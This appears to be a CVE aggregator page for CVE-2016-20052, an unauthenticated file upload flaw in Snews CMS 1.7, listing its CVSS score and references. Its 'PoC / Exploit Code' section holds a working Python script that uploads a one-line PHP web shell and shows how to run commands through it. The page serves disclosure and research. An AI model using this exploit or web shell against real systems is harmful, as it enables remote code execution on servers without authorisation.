CVE-2016-20052

Description

Snews CMS 1.7 contains an unrestricted file upload vulnerability that allows unauthenticated attackers to upload arbitrary files including PHP executables to the snews_files directory. Attackers can upload malicious PHP files through the multipart form-data upload endpoint and execute them by accessing the uploaded file path to achieve remote code execution.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:snewscms:snews:*:*:*:*:*:*:*:* - VULNERABLE

Snews CMS 1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com"
upload_endpoint = target_url + "/index.php" # Adjust endpoint based on actual path

# Malicious PHP payload
php_shell = "<?php system($_GET['cmd']); ?>"

# Prepare the file upload request
files = {
    'file': ('shell.php', php_shell, 'application/octet-stream')
}

data = {
    'task': 'upload', # Parameter name may vary depending on implementation
    'category': 'files'
}

try:
    response = requests.post(upload_endpoint, files=files, data=data)
    
    if response.status_code == 200:
        print("[+] File uploaded successfully.")
        print(f"[+] Try accessing: {target_url}/snews_files/shell.php?cmd=whoami")
    else:
        print("[-] Upload failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2016-20052
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2016-20052
[3] CVE Details https://www.cvedetails.com/cve/CVE-2016-20052/
[4] VulDB https://vuldb.com/cve/CVE-2016-20052
[5] https://www.exploit-db.com/exploits/40706
[6] https://www.vulncheck.com/advisories/snews-cms-unrestricted-file-upload-via-snews-files

Raw JSON Data

JSON

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